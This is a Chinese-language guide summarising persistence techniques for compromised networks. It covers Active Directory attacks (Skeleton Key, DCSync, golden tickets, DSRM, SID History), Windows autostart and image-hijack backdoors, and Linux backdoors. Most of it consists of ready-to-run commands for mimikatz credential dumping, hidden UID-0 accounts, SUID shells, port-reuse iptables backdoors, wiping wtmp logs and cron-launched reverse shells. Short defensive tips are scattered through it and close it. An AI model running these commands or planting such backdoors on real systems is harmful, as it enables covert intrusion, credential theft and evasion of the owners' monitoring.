内网权限维持总结
字数 2116 2025-08-24 07:48:22
内网权限维持技术全面指南
域权限维持技术
Skeleton Key(万能密码)
前提条件:需要已获取域控权限
原理:
- 将Skeleton Key注入域控制器的lsass.exe进程
- 在域内所有账号中添加一个自定义密码(默认"mimikatz")
- 注入后关机即失效,但域控通常长期不重启
操作步骤:
- 在域控上执行:
mimikatz.exe "privilege::debug" "misc::skeleton" exit - 使用万能密码建立IPC连接:
net use \\win2012\ipc$ "mimikatz" /user:administrator
防御措施:
- 域管理员设置强密码
- 启用双因子认证(如智能卡)
- 使用AppLocker等应用程序白名单限制mimikatz运行
Hook PasswordChangeNotify攻击
原理:
- 利用密码修改时的同步机制获取明文密码
- 修改PasswordChangeNotify执行流获取传入参数
操作步骤:
- 生成HookPasswordChange.dll并放置于域共享路径
- 使用PowerShell脚本注入内存:
powershell -exec bypass Import-Module .\Invoke-ReflectivePEInjection.ps1 Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass - 密码修改后查看记录:
dir \\win2012\SYSVOL\sentiment.com\Policies type \\win2012\SYSVOL\sentiment.com\Policies\windows.log
防御措施:
- 严格监控PowerShell活动
基于验证DLL加载-SSP
原理:
- 利用SSP(安全支持提供者)DLL在系统启动时加载到lsass.exe
- 自定义恶意DLL获取lsass.exe中的明文密码
操作方式:
-
内存注入(重启失效):
mimikatz "privilege::debug" "misc::memssp" exit(密码记录在windows\system32\mimilsa.log)
-
注册表持久化:
- 将mimilib.dll放入system32
- 修改注册表:
reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ - 重启后密码记录在c:\windows\system32\kiwissp.log
DCSync攻击
原理:
- 模仿域控制器通过DRS服务同步数据
- 可导出域用户哈希而不需登录域控
利用条件:
需要以下权限之一:
- 复制目录更改(DS-Replication-Get-Changes)
- 全部复制目录更改(DS-Replication-Get-Changes-All)
- 在过滤集中复制目录更改(DS-Replication-Get-Changes-In-Filtered-Set)
操作步骤:
- 默认域控执行:
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:sentiment.com /all /csv" exit - 为普通用户添加DCSync权限:
Add-DomainObjectAcl -TargetIdentity "DC=sentiment,DC=com" -PrincipalIdentity admin -Rights DCSync -Verbose - 移除权限:
Remove-DomainObjectAcl -TargetIdentity "DC=sentiment,DC=com" -PrincipalIdentity admin -Rights DCSync -Verbose
黄金票据
前提:
- 获取域SID
- 获取krbtgt的AES256哈希
操作步骤:
- 生成黄金票据:
mimikatz.exe "kerberos::golden /domain:sentiment.com /sid:S-1-5-21-3309884803-1761721320-3729358562 /aes256:7a2261d768176bd3152d162f4eec34b342b4f0791bf98803c6c7d7258d10045a /user:Administrator /ticket:goldadmin.kirbi" - 导入票据:
kerberos::purge kerberos::ptt goldadmin.kirbi
DSRM(目录服务恢复模式)利用
原理:
- DSRM账户密码在DC安装时设置,通常不变
- 修改注册表允许网络登录
操作步骤:
- 获取krbtgt和DSRM的NTLM Hash
- 同步DSRM与krbtgt密码:
NTDSUTIL set DSRM password sync from domain account 域用户名字 q q - 修改DSRM登录方式(设置为2):
New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD - 使用DSRM账号远程登录
防御措施:
- 检查注册表DsrmAdminLogonBehavior值
- 定期修改DSRM账号
- 监控4794日志
SID History权限维持
原理:
- 利用SID History属性保留迁移用户的原有权限
- 将高权限SID添加到普通用户
操作步骤:
- 查看用户SID History:
Get-ADUser test -Properties sidhistory - 添加Administrator的SID:
privilege::debug sid::patch sid::add /sam:test /new:administrator - 清除SID History:
sid::clear /sam:test
防御措施:
- 检查SID为500的用户
- 监控4765和4766日志
Windows权限维持技术
计划任务
创建计划任务:
schtasks /create /sc minute /mo 1 /tn test /tr C:\WINDOWS\system32\calc.exe /ru system
其他命令:
- 查看:
schtasks /query | findstr test - 删除:
schtasks /delete /tn test /f - 运行:
schtasks /run /tn test
自启动服务
创建服务:
sc create test binpath= C:\Users\Administrator\Desktop\shell.exe start= auto obj= Localsystem
net start test
管理服务:
- 查询:
sc query test - 删除:
sc delete test
注册表自启动
添加自启动项:
REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v test /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"
映像劫持
基本劫持:
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lcx.exe" /v Debugger /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"
高级劫持(不影响原程序):
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\calc.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\calc.exe" /v MonitorProcess /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"
防御措施:
- 检查Image File Execution Options和SilentProcessExit项
- 分析3000和3001日志
Logon Scripts后门
设置登录脚本:
REG ADD "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Administrator\Desktop\shell.exe"
Linux权限维持技术
踪迹隐藏
禁用历史记录:
set +o history # 禁用
set -o history # 启用
history -d 数组 # 删除特定记录
修改文件时间:
touch -r index.html shell.php
stat shell.php
锁定文件:
chattr +i shell.php # 锁定
chattr -i shell.php # 解锁
隐藏文件:
touch .shell.php
mkdir .test
隐藏SSH登录:
ssh -T -i id_rsa mds@192.168.199.155 /bin/bash -i
echo "" > /var/log/wtmp # 清除记录
端口复用
设置端口复用:
iptables -t nat -N LETMEIN
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
使用端口复用:
echo threathuntercoming | socat - tcp:192.168.199.155:80
ssh -p 80 root@192.168.199.155 -T /bin/bash -i
echo threathunterleaving | socat - tcp:192.168.199.155:80
权限维持技术
添加超级用户:
- 方法一:
echo "test1:saXxnGh/ae5PM:0:0:/root:/bin/bash" >> /etc/passwd - 方法二:
useradd -p `openssl passwd -1 -salt 'salt' sentiment` test2 -o -u 0 -g root -G root -s /bin/bash -d /home/test2
SUID权限维持:
cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot
/tmp/.woot -p
SSH私钥免密登录:
- 生成密钥对:
ssh-keygen -t rsa - 上传公钥:
cat id_rsa.pub >> /root/.ssh/authorized_keys chmod 600 /root/.ssh/authorized_keys chmod 700 /root/.ssh/ - 配置SSH:
RSAAuthentication yes PubkeyAuthentication yes
定时任务:
- 创建反弹shell脚本
- 添加计划任务:
*/1 * * * * root /etc/.evil.sh - 重启cron:
service cron restart
其他高级技术
- rookit后门(如Reptile、Diamorphine)
- DNS隧道
- OpenSSH后门
防御建议
-
域环境防御:
- 定期检查域控异常进程和服务
- 监控域控注册表关键项修改
- 启用详细日志记录并定期审计
- 限制域管权限分配
-
Windows主机防御:
- 检查计划任务和自启动项
- 监控注册表Run键和映像劫持项
- 使用杀软监控异常进程创建
-
Linux主机防御:
- 检查/etc/passwd异常用户
- 监控SUID文件和异常定时任务
- 检查.ssh目录异常授权
- 使用文件完整性监控工具
-
通用防御:
- 实施最小权限原则
- 启用多因素认证
- 定期更新系统和应用补丁
- 建立完善的日志收集和分析系统